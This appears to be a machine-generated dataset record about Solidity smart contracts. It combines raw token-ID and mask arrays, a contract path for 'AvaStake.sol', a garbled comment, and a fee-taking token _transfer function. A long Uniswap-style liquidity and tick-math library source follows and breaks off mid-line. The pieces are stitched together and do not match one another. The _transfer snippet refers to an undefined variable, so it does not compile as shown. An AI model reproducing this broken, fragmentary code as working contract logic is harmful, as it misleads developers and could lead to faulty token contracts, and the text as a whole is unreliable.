[ 1, 1814, 10, 5520, 31, 266, 777, 2731, 5, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 327, 261, 454, 3075, 484, 42, 360, 1823, 16, 777, 3262, 802, 42, 360, 1823, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/43114/0x7Fa15A54c1e61ab3A10A2A3ecd1Db1D95003f055/sources/AvaStake.sol
IF it's a sell and SwapAndLiquify is activated we do that...If Taxless... Tax = 0The TaxFee is the total fee we tax on transfer on the Transaction on the contract.
function _transfer(address sender, address recipient, uint256 amount) internal override { if(isSwapEnabled && !inSwap && sender != uniswapV2Pair){ swapAndDistribute(); uint256 balance = address(this).balance; if (buyBackEnabled && balance > buyBackMinimum) { if (balance > buyBackUpperLimit){ balance = buyBackUpperLimit; } buyBackTokens(balance.div(100)); } } uint256 transferAmount = amount; if(isTaxActive && !isTaxless[sender] && !isTaxless[recipient]) { uint256 fee = amount.mul(taxFee).div(100); uint256 _marketingFEE = amount.mul(marketingFEE).div(100); super._transfer(sender,address(this),fee); super._transfer(sender,address(this),_marketingFEE); transferAmount = amount.sub(fee).sub(_marketingFEE); taxFeeTotal = taxFeeTotal.add(fee); } if(recipient == uniswapV2Pair && !isTaxless[sender]){ uint256 feeForSelling = transferAmount.mul(sellFee).div(100); super._transfer(sender,address(0),feeForSelling); transferAmount = transferAmountAfterFee.sub(feeForSelling); } super._transfer(sender, recipient, transferAmount); }
4,597,182
[ 1, 5501, 518, 1807, 279, 357, 80, 471, 12738, 1876, 48, 18988, 1164, 353, 14892, 732, 741, 716, 2777, 2047, 18240, 2656, 2777, 18240, 273, 374, 1986, 18240, 14667, 353, 326, 2078, 14036, 732, 5320, 603, 7412, 603, 326, 5947, 603, 326, 6835, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 13866, 12, 2867, 5793, 16, 1758, 8027, 16, 2254, 5034, 3844, 13, 2713, 3849, 288, 203, 3639, 309, 12, 291, 12521, 1526, 597, 401, 267, 12521, 597, 5793, 480, 640, 291, 91, 438, 58, 22, 4154, 15329, 203, 5411, 7720, 1876, 1669, 887, 5621, 203, 202, 202, 11890, 5034, 11013, 273, 1758, 12, 2211, 2934, 12296, 31, 203, 5411, 309, 261, 70, 9835, 2711, 1526, 597, 11013, 405, 30143, 2711, 13042, 13, 288, 203, 1171, 203, 7734, 309, 261, 12296, 405, 30143, 2711, 5988, 3039, 15329, 203, 6862, 203, 10792, 11013, 273, 30143, 2711, 5988, 3039, 31, 203, 6862, 202, 97, 203, 1171, 203, 7734, 30143, 2711, 5157, 12, 12296, 18, 2892, 12, 6625, 10019, 203, 5411, 289, 203, 3639, 289, 203, 3639, 2254, 5034, 7412, 6275, 273, 3844, 31, 203, 3639, 309, 12, 291, 7731, 3896, 597, 401, 291, 7731, 2656, 63, 15330, 65, 597, 401, 291, 7731, 2656, 63, 20367, 5717, 288, 203, 2398, 203, 5411, 2254, 5034, 14036, 273, 3844, 18, 16411, 12, 8066, 14667, 2934, 2892, 12, 6625, 1769, 203, 5411, 2254, 5034, 389, 3355, 21747, 8090, 41, 273, 3844, 18, 16411, 12, 3355, 21747, 8090, 41, 2934, 2892, 12, 6625, 1769, 203, 2398, 203, 2398, 203, 5411, 2240, 6315, 13866, 12, 15330, 16, 2867, 12, 2211, 3631, 21386, 1769, 203, 2398, 203, 5411, 2240, 6315, 13866, 12, 15330, 16, 2867, 12, 2211, 3631, 67, 3355, 21747, 8090, 41, 1769, 203, 2398, 203, 5411, 7412, 6275, 273, 3844, 18, 1717, 12, 21386, 2934, 1717, 24899, 3355, 21747, 2 ]
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; pragma abicoder v2; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IPopsicleV3Optimizer { /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @return The address of the Uniswap V3 Pool function pool() external view returns (IUniswapV3Pool); /// @notice The lower tick of the range function tickLower() external view returns (int24); /// @notice The upper tick of the range function tickUpper() external view returns (int24); /** * @notice Deposits tokens in proportion to the Optimizer's current ticks. * @param amount0Desired Max amount of token0 to deposit * @param amount1Desired Max amount of token1 to deposit * @param to address that plp should be transfered * @return shares minted * @return amount0 Amount of token0 deposited * @return amount1 Amount of token1 deposited */ function deposit(uint256 amount0Desired, uint256 amount1Desired, address to) external returns (uint256 shares, uint256 amount0,uint256 amount1); /** * @notice Withdraws tokens in proportion to the Optimizer's holdings. * @dev Removes proportional amount of liquidity from Uniswap. * @param shares burned by sender * @return amount0 Amount of token0 sent to recipient * @return amount1 Amount of token1 sent to recipient */ function withdraw(uint256 shares, address to) external returns (uint256 amount0, uint256 amount1); /** * @notice Updates Optimizer's positions. * @dev Finds base position and limit position for imbalanced token * mints all amounts to this position(including earned fees) */ function rerange() external; /** * @notice Updates Optimizer's positions. Can only be called by the governance. * @dev Swaps imbalanced token. Finds base position and limit position for imbalanced token if * we don't have balance during swap because of price impact. * mints all amounts to this position(including earned fees) */ function rebalance() external; } interface IOptimizerStrategy { /// @return Maximul PLP value that could be minted function maxTotalSupply() external view returns (uint256); /// @notice Period of time that we observe for price slippage /// @return time in seconds function twapDuration() external view returns (uint32); /// @notice Maximum deviation of time waited avarage price in ticks function maxTwapDeviation() external view returns (int24); /// @notice Tick multuplier for base range calculation function tickRangeMultiplier() external view returns (int24); /// @notice The price impact percentage during swap denominated in hundredths of a bip, i.e. 1e-6 /// @return The max price impact percentage function priceImpactPercentage() external view returns (uint24); } library PositionKey { /// @dev Returns the key of the position in the core library function compute( address owner, int24 tickLower, int24 tickUpper ) internal pure returns (bytes32) { return keccak256(abi.encodePacked(owner, tickLower, tickUpper)); } } /// @title Math library for computing sqrt prices from ticks and vice versa /// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports /// prices between 2**-128 and 2**128 library TickMath { /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128 int24 internal constant MIN_TICK = -887272; /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128 int24 internal constant MAX_TICK = -MIN_TICK; /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 internal constant MIN_SQRT_RATIO = 4295128739; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /// @notice Calculates sqrt(1.0001^tick) * 2^96 /// @dev Throws if |tick| > max tick /// @param tick The input tick for the above formula /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0) /// at the given tick function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) { uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); require(absTick <= uint256(MAX_TICK), 'T'); uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128; if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128; if (tick > 0) ratio = type(uint256).max / ratio; // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96. // we then downcast because we know the result always fits within 160 bits due to our tick input constraint // we round up in the division so getTickAtSqrtRatio of the output price is always consistent sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)); } /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may /// ever return. /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96 /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) { // second inequality must be < because the price can never reach the price at the max tick require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R'); uint256 ratio = uint256(sqrtPriceX96) << 32; uint256 r = ratio; uint256 msb = 0; assembly { let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(5, gt(r, 0xFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(4, gt(r, 0xFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(3, gt(r, 0xFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(2, gt(r, 0xF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(1, gt(r, 0x3)) msb := or(msb, f) r := shr(f, r) } assembly { let f := gt(r, 0x1) msb := or(msb, f) } if (msb >= 128) r = ratio >> (msb - 127); else r = ratio << (127 - msb); int256 log_2 = (int256(msb) - 128) << 64; assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(63, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(62, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(61, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(60, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(59, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(58, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(57, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(56, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(55, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(54, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(53, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(52, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(51, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(50, f)) } int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128); int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128); tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow; } } /// @title Liquidity amount functions /// @notice Provides functions for computing liquidity amounts from token amounts and prices library LiquidityAmounts { /// @notice Downcasts uint256 to uint128 /// @param x The uint258 to be downcasted /// @return y The passed value, downcasted to uint128 function toUint128(uint256 x) private pure returns (uint128 y) { require((y = uint128(x)) == x); } /// @notice Computes the amount of liquidity received for a given amount of token0 and price range /// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount0 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount0( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96); return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the amount of liquidity received for a given amount of token1 and price range /// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)). /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount1 The amount1 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount1( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount of token0 being sent in /// @param amount1 The amount of token1 being sent in /// @return liquidity The maximum amount of liquidity received function getLiquidityForAmounts( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0); } else if (sqrtRatioX96 < sqrtRatioBX96) { uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0); uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1); liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1; } else { liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1); } } /// @notice Computes the amount of token0 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 function getAmount0ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv( uint256(liquidity) << FixedPoint96.RESOLUTION, sqrtRatioBX96 - sqrtRatioAX96, sqrtRatioBX96 ) / sqrtRatioAX96; } /// @notice Computes the amount of token1 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount1 The amount of token1 function getAmount1ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96); } /// @notice Computes the token0 and token1 value for a given amount of liquidity, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 /// @return amount1 The amount of token1 function getAmountsForLiquidity( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0, uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } else if (sqrtRatioX96 < sqrtRatioBX96) { amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity); amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity); } else { amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } } } /// @title Liquidity and ticks functions /// @notice Provides functions for computing liquidity and ticks for token amounts and prices library PoolVariables { using LowGasSafeMath for uint256; using LowGasSafeMath for uint128; // Cache struct for calculations struct Info { uint256 amount0Desired; uint256 amount1Desired; uint256 amount0; uint256 amount1; uint128 liquidity; int24 tickLower; int24 tickUpper; } /// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`. /// @param pool Uniswap V3 pool /// @param liquidity The liquidity being valued /// @param _tickLower The lower tick of the range /// @param _tickUpper The upper tick of the range /// @return amounts of token0 and token1 that corresponds to liquidity function amountsForLiquidity( IUniswapV3Pool pool, uint128 liquidity, int24 _tickLower, int24 _tickUpper ) internal view returns (uint256, uint256) { //Get current price from the pool (uint160 sqrtRatioX96, , , , , , ) = pool.slot0(); return LiquidityAmounts.getAmountsForLiquidity( sqrtRatioX96, TickMath.getSqrtRatioAtTick(_tickLower), TickMath.getSqrtRatioAtTick(_tickUpper), liquidity ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmounts()`. /// @param pool Uniswap V3 pool /// @param amount0 The amount of token0 /// @param amount1 The amount of token1 /// @param _tickLower The lower tick of the range /// @param _tickUpper The upper tick of the range /// @return The maximum amount of liquidity that can be held amount0 and amount1 function liquidityForAmounts( IUniswapV3Pool pool, uint256 amount0, uint256 amount1, int24 _tickLower, int24 _tickUpper ) internal view returns (uint128) { //Get current price from the pool (uint160 sqrtRatioX96, , , , , , ) = pool.slot0(); return LiquidityAmounts.getLiquidityForAmounts( sqrtRatioX96, TickMath.getSqrtRatioAtTick(_tickLower), TickMath.getSqrtRatioAtTick(_tickUpper), amount0, amount1 ); } /// @dev Amounts of token0 and token1 held in contract position. /// @param pool Uniswap V3 pool /// @param _tickLower The lower tick of the range /// @param _tickUpper The upper tick of the range /// @return amount0 The amount of token0 held in position /// @return amount1 The amount of token1 held in position function usersAmounts(IUniswapV3Pool pool, int24 _tickLower, int24 _tickUpper) internal view returns (uint256 amount0, uint256 amount1) { //Compute position key bytes32 positionKey = PositionKey.compute(address(this), _tickLower, _tickUpper); //Get Position.Info for specified ticks (uint128 liquidity, , , uint128 tokensOwed0, uint128 tokensOwed1) = pool.positions(positionKey); // Calc amounts of token0 and token1 including fees (amount0, amount1) = amountsForLiquidity(pool, liquidity, _tickLower, _tickUpper); amount0 = amount0.add(tokensOwed0); amount1 = amount1.add(tokensOwed1); } /// @dev Amount of liquidity in contract position. /// @param pool Uniswap V3 pool /// @param _tickLower The lower tick of the range /// @param _tickUpper The upper tick of the range /// @return liquidity stored in position function positionLiquidity(IUniswapV3Pool pool, int24 _tickLower, int24 _tickUpper) internal view returns (uint128 liquidity) { //Compute position key bytes32 positionKey = PositionKey.compute(address(this), _tickLower, _tickUpper); //Get liquidity stored in position (liquidity, , , , ) = pool.positions(positionKey); } /// @dev Common checks for valid tick inputs. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range function checkRange(int24 tickLower, int24 tickUpper) internal pure { require(tickLower < tickUpper, "TLU"); require(tickLower >= TickMath.MIN_TICK, "TLM"); require(tickUpper <= TickMath.MAX_TICK, "TUM"); } /// @dev Rounds tick down towards negative infinity so that it's a multiple /// of `tickSpacing`. function floor(int24 tick, int24 tickSpacing) internal pure returns (int24) { int24 compressed = tick / tickSpacing; if (tick < 0 && tick % tickSpacing != 0) compressed--; return compressed * tickSpacing; } /// @dev Gets ticks with proportion equivalent to desired amount /// @param pool Uniswap V3 pool /// @param amount0Desired The desired amount of token0 /// @param amount1Desired The desired amount of token1 /// @param baseThreshold The range for upper and lower ticks /// @param tickSpacing The pool tick spacing /// @return tickLower The lower tick of the range /// @return tickUpper The upper tick of the range function getPositionTicks(IUniswapV3Pool pool, uint256 amount0Desired, uint256 amount1Desired, int24 baseThreshold, int24 tickSpacing) internal view returns(int24 tickLower, int24 tickUpper) { Info memory cache = Info(amount0Desired, amount1Desired, 0, 0, 0, 0, 0); // Get current price and tick from the pool ( uint160 sqrtPriceX96, int24 currentTick, , , , , ) = pool.slot0(); //Calc base ticks (cache.tickLower, cache.tickUpper) = baseTicks(currentTick, baseThreshold, tickSpacing); //Calc amounts of token0 and token1 that can be stored in base range (cache.amount0, cache.amount1) = amountsForTicks(pool, cache.amount0Desired, cache.amount1Desired, cache.tickLower, cache.tickUpper); //Liquidity that can be stored in base range cache.liquidity = liquidityForAmounts(pool, cache.amount0, cache.amount1, cache.tickLower, cache.tickUpper); //Get imbalanced token bool zeroGreaterOne = amountsDirection(cache.amount0Desired, cache.amount1Desired, cache.amount0, cache.amount1); //Calc 